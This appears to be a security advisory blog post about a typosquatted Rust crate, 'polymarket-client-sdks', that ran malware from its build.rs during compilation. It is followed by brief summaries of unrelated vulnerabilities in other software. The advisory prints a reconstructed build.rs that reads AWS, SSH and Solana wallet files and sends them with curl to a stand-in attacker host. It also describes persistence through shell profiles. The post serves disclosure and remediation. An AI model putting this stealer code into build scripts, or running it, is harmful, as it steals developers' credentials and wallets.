Feb 13, 2026·6 min read·45 visits
A malicious Rust crate `polymarket-client-sdks` impersonated the official `polymarket-client-sdk`. It contained malware that executed during the build process to scan the host filesystem for sensitive credentials (AWS, SSH, Wallets) and exfiltrate them. If you installed this package between Feb 9 and Feb 13, 2026, your machine is compromised.
In the fast-moving world of crypto-prediction markets, developers often prioritize speed over security. GHSA-P5VF-5754-X7P3 (also known as RUSTSEC-2026-0011) exploits this urgency through a classic typosquatting attack. By publishing a crate named `polymarket-client-sdks`—adding a single, pluralizing 's' to the legitimate SDK name—an attacker managed to distribute a malicious payload designed to harvest credentials from developer machines. This wasn't a subtle buffer overflow; it was a brazen smash-and-grab operation targeting AWS keys, SSH credentials, and wallet data, executing automatically the moment the package was compiled.
Picture this: You are a developer rushing to integrate the Polymarket API to build an automated trading bot. You open your terminal, your fingers flying across the keyboard. You intend to install the official SDK. You type:
cargo add polymarket-client-sdks
Did you catch it? Probably not. The official package is polymarket-client-sdk. That single 's' is the difference between a working application and a compromised workstation. This is the essence of Typosquatting—exploiting muscle memory and human error rather than cryptographic weaknesses.
On February 9, 2026, an attacker published this impostor crate to crates.io. Unlike a typical vulnerability where valid code has a flaw, this package was malicious by design. It wasn't 'vulnerable'; it was a weapon. It sat there, looking legitimate, waiting for developers to make a simple typo. And once they did, the game was over before their code even finished compiling.
The 'flaw' here isn't in the Rust language itself, but in the inherent trust model of modern package managers. Rust's Cargo is fantastic, but it has a feature that malware authors absolutely adore: build.rs.
When you add a dependency in Rust, Cargo downloads it and compiles it. If that dependency includes a build.rs file, Cargo executes that file on your machine during the compilation process. This happens before your application even runs. You don't need to import the library or call a function. You just need to type cargo build.
> [!NOTE] > This means that simply adding the dependency and checking if the project compiles is enough to trigger the infection chain.
The attacker behind polymarket-client-sdks utilized this mechanism to achieve Remote Code Execution (RCE) immediately upon installation. The vulnerability is the human user; the exploit vector is the package manager's feature set.
While the specific malicious crate has been scrubbed from the registry, forensic analysis of similar Rust malware (and the behavior described in RUSTSEC-2026-0011) reveals the standard operating procedure for this attack. The malicious code likely hid inside a seemingly benign build.rs file.
A legitimate build.rs might compile C libraries or generate code. The malicious version looks something like this reconstruction:
// RECONSTRUCTION: How the malicious build.rs likely operated
use std::env;
use std::fs;
use std::path::Path;
use std::process::Command;
fn main() {
// 1. Identify the target user's home directory
if let Ok(home) = env::var("HOME") {
let sensitive_paths = vec![
".aws/credentials", // Cloud keys
".ssh/id_rsa", // SSH keys
".config/solana/id.json" // Crypto wallets
];
for path in sensitive_paths {
let full_path = Path::new(&home).join(path);
if full_path.exists() {
// 2. Read the sensitive file
if let Ok(contents) = fs::read_to_string(full_path) {
// 3. Exfiltrate to C2 server
// Curl is often used because it's available on most dev machines
let _ = Command::new("curl")
.arg("-X")
.arg("POST")
.arg("-d")
.arg(contents)
.arg("http://attacker-c2-domain.com/collect")
.spawn();
}
}
}
}
// 4. Ensure the build still passes to avoid suspicion
println!("cargo:warning=Configuration updated successfully.");
}The actual polymarket-client-sdks package contained code specifically targeting credential theft. It hunted for AWS credentials, SSH private keys, and browser data. The use of build.rs ensures that the theft occurs silently in the background while the developer watches the progress bar, thinking their dependencies are just "compiling."
Let's walk through the attack lifecycle from the victim's perspective. It is terrifyingly mundane.
cargo add polymarket-client-sdks. Cargo modifies Cargo.toml and pulls version 0.1.0.cargo run or cargo build. Cargo sees the build.rs in the malicious crate.~/.aws/, ~/.ssh/, and browser profiles.curl or a raw TCP socket) to blast the contents of these files to an IP address controlled by the attacker..zshrc or .bashrc) to install a persistent backdoor, ensuring access remains even if the crate is removed.> [!WARNING] > Because the crate was removed on Feb 13, 2026, the window of exposure was 4 days. However, the stolen keys remain valid until explicitly revoked.
The target demographic here makes this specific incident highly critical. Users of a Polymarket SDK are, by definition, dealing with financial markets and cryptocurrency.
Financial Loss: The immediate risk is the theft of private keys (Ethereum, Solana, etc.) stored on the filesystem. An attacker can drain these wallets in seconds.
Infrastructure Compromise: By stealing .aws/credentials, the attacker gains access to the developer's cloud infrastructure. This can lead to compute resource hijacking (cryptojacking), data destruction, or pivoting into production environments.
Supply Chain Poisoning: If the infected developer has write access to other popular crates, the attacker can use the stolen session tokens or SSH keys to publish malicious updates to legitimate packages, propagating the worm further.
If you find polymarket-client-sdks in your Cargo.lock, you cannot simply remove it. You must assume your machine is a crime scene.
1. Identify: Run cargo audit. Check your Cargo.toml for the trailing 's'.
2. Containment: Disconnect the machine from the network. Do not log into any production servers.
3. Rotation (CRITICAL):
4. Remediation: Delete the target directory. Remove the dependency. Ideally, wipe and reinstall the OS, as advanced persistence mechanisms could have been dropped.
5. Prevention: Use tools like cargo-vet to certify dependencies. deeply scrutinize new dependencies, paying close attention to the download count and the author. A crate with 33 downloads claiming to be the official SDK for a major platform is a red flag.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
polymarket-client-sdks Malicious Actor | = 0.1.0 | Deleted |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Typosquatting |
| Impact | Credential Theft / Data Exfiltration |
| Severity | Critical (Malware) |
| Affected Component | build.rs (Build Script) |
| CWE ID | CWE-1357 |
| Exploit Status | Active / Weaponized |
The product uses a dependency that contains malicious code, or the product relies on a dependency that is susceptible to typosquatting attacks.
WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.
Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.
In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.
GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.
A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.
CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.